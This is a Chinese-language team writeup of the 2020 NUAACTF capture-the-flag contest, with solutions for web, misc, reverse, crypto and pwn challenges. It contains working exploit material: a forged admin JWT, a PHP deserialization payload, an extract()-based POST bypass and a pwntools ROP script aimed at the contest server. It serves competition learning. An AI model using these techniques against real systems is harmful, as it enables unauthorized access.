CTF | 2020 NUAACTF 吸喵喵队 Writeup


引言

吸喵喵,冲冲冲!

期待已久的 2020 NUAACTF 终于来了呀!

玩(头)耍(秃)了一个下午,整体而言感觉上难度雨露均沾,然而挺茫然的。

最后终于冲到了校内第二,感觉好棒啊!

这篇 Writeup 是由吸喵喵队共同完成的,我主要看的是 Misc、Crypto、Reverse(反正就随缘看2333),俩队友 @Noname 和 @Sophia 打 Web 和 Pwn,都挺辛苦的。

在此基础上我加了点自己的感受什么的吧。

之后复现的时候再加点东西吧(咕。

Result

全部榜单

校内榜单

上面是 不分/分 校内外 的部分榜单。

校外选手太强了啊啊啊啊!(太阔怕了嘤嘤嘤)

校内还算友好,但最后一个小时惊心动魄,排名在2-4位之间波动。

最后几分钟队友冲了一波 pwn,冲到了第二,太棒了!

比赛开始一个小时还没恰饭,那时候看了看放出来的题,马上有思路能做的都差不多了,然后就去恰了个饭。

回来到比赛结束这中间几个小时,真 的 头 秃,又困又累又无助,就是好多题看上去能做但做不出 flag 那种……顺手打开了音乐舒缓一下心情。

吸喵喵


平台信息

http://47.102.118.76:8000

部分题目环境信息:

web1 checkin:
http://139.9.221.0:8086/ 已部署

web2 jwt :
http://139.9.221.0:8090/ 已部署

web3 easypop
http://139.9.221.0:8088/ 已部署

web4 command inj:
http://139.9.221.0:8092/ 已部署

web5-escape
http://139.9.221.0:8094/ 已部署

misc3-babyhttp 已部署
106.14.153.173 8443

pwn1-first-pwn
49.235.243.206 10501
https://share.weiyun.com/qoaVHGg8

pwn2-baby-format
49.235.243.206 10502
https://share.weiyun.com/efHNDo4X

pwn3-baby-rop
49.235.243.206 10503
https://share.weiyun.com/gwHWgypr

pwn4-easy-heap
49.235.243.206 10504
https://share.weiyun.com/uh36Y68j

pwn5-easy-format
49.235.243.206 10505
https://share.weiyun.com/0zDGYyYw

pwn6-baby-shellcode
49.235.243.206 10506
https://share.weiyun.com/HLUP79Fs

官方源码 GitHub 仓库在这里



Web

web1-checkin

看源码直接出flag

checkin

BTW,这个图我最早是在以前的五四评优网站上看到的,现在那个系统已经不再使用了。那时候正好认识了于老板哈哈哈哈。(吹一波!

web2-jwt

通过工具 c-jwt-crack 得到 key

key

key:
NuAa

在线平台构造 jwt

https://jwt.io/

jwt

得到 JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.SYQ-AGwY5XIcxY621ToK8zEgomHE0Bla9tAUWTLxnwA

改 jwt 登录 admin 账号即可得到flag。

flag

耗几锅锅太强了!

web3-easypop

打开题目直接出源码

web3

Exp:

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data;
}
echo urlencode(serialize(new lemon()));

?>

把结果直接传参给d,出flag。

web3-flag



Misc

misc1-假笑男孩

gay木的微笑(雾

题目都提示了假笑了,总得看到笑容嘛。

直接 PNG 改高度就完事了。

laugh

于是flag:

flag{i_want_jiamu_power}

我想要嘉木的力量!

misc2-wireshark

直接拿 wireshark 打开,找到了一个压缩包,里面有个文件内容就是 flag 呢!

misc2-1

misc2-2

nuaactf{wir2sha4k_1s_gReat}

misc3-babyhttp

你知道什么是 HTTP 吗?

(你通过一般方式是打不开网站的)

Hint: The newest.

106.14.153.173 8443

之后加的 Hint: HTTP发展史

这题看到最新的 HTTP,其实我一开始就猜是 HTTP3(QUIC)了。(果然是陆老板出的题,嘤嘤嘤

毕竟我这个博客本身就基于 CloudFlare 部署了 HTTP3,只是目前的浏览器支持还不是很好。

http3

这题试着用 Chrome 开启 QUIC 进行访问 https://106.14.154.173:8443 ,发现被拒绝。用wireshark 抓包也没抓到有关的流量,只看到了 TCP 数据包。

中途怀疑难道是 HTTP2 的一些罕见方法?于是用 postman 把所有方法都试了一遍,全被拒绝了。

再回来重新搜了一波 HTTP3 的资料,考虑是用 curl 来连接,顺便记录一下,比如下面几个:

HTTP/3:过去,现在,还有未来 (这也是最后给的hint了)

curl HTTP3 (and QUIC)

curl 的用法指南(阮一峰)

libcurl programming tutorial

How to Test if a Website supports HTTP/3?

How to Build and Install latest cURL version on CentOS/RHEL?

网站 HTTP3 部署测试:

HTTP/3 Test, Check if H3/QUIC is enabled on your website

HTTP/3 CHECK

然后按照上面的流程基于 Rust & quiche 来安装 curl

Build quiche and BoringSSL:

git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --release --features pkg-config-meta,qlog
mkdir deps/boringssl/lib
ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/lib/

而后 Build curl:

cd ..
git clone https://github.com/curl/curl
cd curl
./buildconf
./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-ssl=$PWD/../quiche/deps/boringssl --with-quiche=$PWD/../quiche/target/release --enable-alt-svc
make

上面 build 过程中需要自行安装 cargo、CMake、Go、autoconf、libtoolize 等依赖,或者根据报错信息相应进行安装就好。(一环套一环,绝了

比如 CMake 报错找不到 Go:

sudo apt install golang

再比如报错需要 autoconf、libtoolize:

autoconf

libtoolize

sudo apt install autoconf
sudo apt install libtoolize

然而国内出口速度不行,在本地在国内的服务器上都试了,装了几个小时 curl 到比赛结束都没装上,代码半天拉不下来。后来直接下载仓库 ZIP 再装,build 还要下载新东西???好气啊!做题的时候超想找个 curl 编译有 http3 的小伙伴。。(看来打CTF整个国外VPS来跑很有必要

安装好之后就可以试试了,比如看看版本信息。(要用 build 好的 curl)

./curl --version

这题 curl 出来是一个web题……

./curl -v https://106.14.153.173:8443  --http3 

一个web题

提示访问check.php.

./curl -v https://106.14.153.173:8443/check.php  --http3 

得到一道题,PHP的。

<code><span style="color: #000000">
        <span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">include&nbsp;</span><span
            style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br /></span><span
            style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span
            style="color: #0000BB">0</span><span style="color: #007700">);<br />if&nbsp;(</span><span
            style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span
            style="color: #DD0000">"REQUEST_METHOD"</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span
            style="color: #DD0000">"POST"</span><span
            style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span
            style="color: #0000BB">extract</span><span style="color: #007700">(</span><span
            style="color: #0000BB">$_POST</span><span
            style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span
            style="color: #0000BB">$pass&nbsp;</span><span style="color: #007700">==&nbsp;</span><span
            style="color: #0000BB">$newpass</span><span
            style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span
            style="color: #0000BB">$flag</span><span
            style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span><span
            style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span
            style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span>
    </span>
</code>

传入两个参数passnewpass,让它俩的值相等就行了。

./curl -v https://106.14.153.173:8443/check.php --http3 -d "pass=1&newpass=1"

然后得到flag:

NUAACTF{WH4T_d0_y0u_kn0w_H334}

另一种 curl 方法

想到一个方案,就是直接拉别人构建好的 docker 镜像。

找到了一个 build 有 HTTP3 的 curl docker image:ymuski/curl-http3

Docker image of curl compiled with BoringSSL and quiche/0.2.0 for HTTP3 support, httpstat for visualization.

GitHub 仓库:**curl-http3**

# docker run -it --rm ymuski/curl-http3 curl -V
curl 7.71.0-DEV (x86_64-pc-linux-gnu) libcurl/7.71.0-DEV BoringSSL quiche/0.4.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile NTLM NTLM_WB SSL UnixSockets

而后直接做题就完事了。

docker run -it --rm ymuski/curl-http3 curl -Lv https://106.14.153.173:8443/check.php --http3 -d "pass=a&newpass=a"


Rev

rev1-xor

pyc 反编译(可以利用这个工具

from flag import flag
s = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for x in range(0, len(flag)):
    print(ord(s[x]) ^ ord(flag[x]), ' ', **None)

哇呜,最简单的异或,直接异或回去就完事了。

Exp:

encrypted = "31 2 4 19 23 13 19 18 24 31 22 44 29 9 18 55 9 10 2 37 10 6 23 14 2 20 110 86 82 90 86 83 74"
s = 'qwertyuiopasdfghjklzxcvbnm1234567890'
m = encrypted.split(' ')
m=list(map(int,m))
print(m)
for x in range(0, len(m)):
    print(chr(ord(s[x]) ^ m[x]), end="")

re1

nuaactf{wow_you_can_really_dance}

rev2-demium

encrypt是flag用medium加密来的,尝试逆向它吧

看了看逆向,好像有点复杂。

试了一下,发现flagencrypt.txt中的头4个字母对应的。于是直接借用这个程序建立一个密码映射关系就完事了。

re2-1

re2-2

python 写一波jio本。

Exp:

# -*- coding:utf-8 -*-

m = r"W1og39p2Kp+2_Zpx2{/yF"
s = r"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-=!@#$%^&*()_+"
e = r"oLlQfWgThE_1-ZpsUHMS+ex6K\tP{9I}Jn8C4/kmcd5yBAz0RDaVrwuGvNjqOYi===========2b"
flag = ''

for i in m:
    index = e.find(i)
    # print(e.find(i))
    if index >= 0:
        single = s[index]
        # print(single)
        flag += single
print(flag)
# flagDo_you_know_CLR

(exp中没有写{ }的对应关系,问题不大

得到 flag:

flag{Do_you_know_CLR}



Crypto

Crypto1-贝斯

base64 一波完事

crypto4-RREAL_RSA

哇呜,有直接了当的 RSA!

Public key:
e=65537, n=1106081963347301781444155926534938643298217639670251381867474826890728970307
Encrypted flag:
c=681873475888907291485502809441689140305197371659486141705279050132490452420

大整数N分解得到两个质数:

6598638704725743849027686163703739789

167622749606696848477732277529837832463

本地跑了半天没跑出来,拿去 http://factordb.com/ 这里分解就好了。

计算D再解密C即可得到flag

crypto4

flag{Here_Is_R4a1_Rs@}



PWN

pwn1

按刘师傅意思,果然有签到题。

直接nc就出来了

pwn1

pwn3

v2绕过 cannary

v2改成 0x40

pwn3-1

pwn3-2

pwn3-3

Exp:

from pwn import *
context.log_level = 'debug'
c = remote('49.235.243.206', 10503)
#c = process('./33')
#gdb.attach(c)

sysaddr = 0x004007FB


payload = ''
payload +=p64(sysaddr)
c.send('a'*0x20)
sleep(1)
c.send(p64(0x40))
sleep(1)
c.sendline(payload)
c.interactive()

pwn3-flag



小结

其实现在感觉做出来的题目还算很常规的,大都是常用的套路罢了。

毕竟是校赛,本身校内玩这个的也不多,题目的话自然相对于外面而言友好多了。

不过话说回来,这次比赛难度稍大的题目还是挺有意思的,甚至网上还没有过相关的思路,出题师傅们也挺费心血了。

有的题目有了思路,现场查了半天资料还做不出 flag 来,这时候就挺绝望的。

(还有比如为了一个题用 http3 装了几个小时 curl 到比赛结束都没装上,代码半天拉不下来气死我了

还要感谢队友一起冲呀!也算是一个小心愿实现了吧嘻嘻嘻。

可能这就是 CTF 的魅力吧。

就先这样了8,后面有空再来复现喵~

(溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
DSP | CCS v3.3 利用I/O端口从外部文件传送数据的相关配置 DSP | CCS v3.3 利用I/O端口从外部文件传送数据的相关配置
最近做DSP大作业需要用到古老的CCS v3.3软件,而对于利用Simulator的I/O端口从外部文件传送数据的方法,查了各种资料几乎没有相关介绍,正好就来记录一下吧。
2020-07-11
下一篇 
CTF | DASCTF May & BJDCTF3rd 部分WriteUp CTF | DASCTF May & BJDCTF3rd 部分WriteUp
又是划划水~前两天水了一下DASCTF五月赛 & BJDCTF3rd,这次不是新生赛了,难度大的亚批,打得都自闭了。
2020-05-24
  目录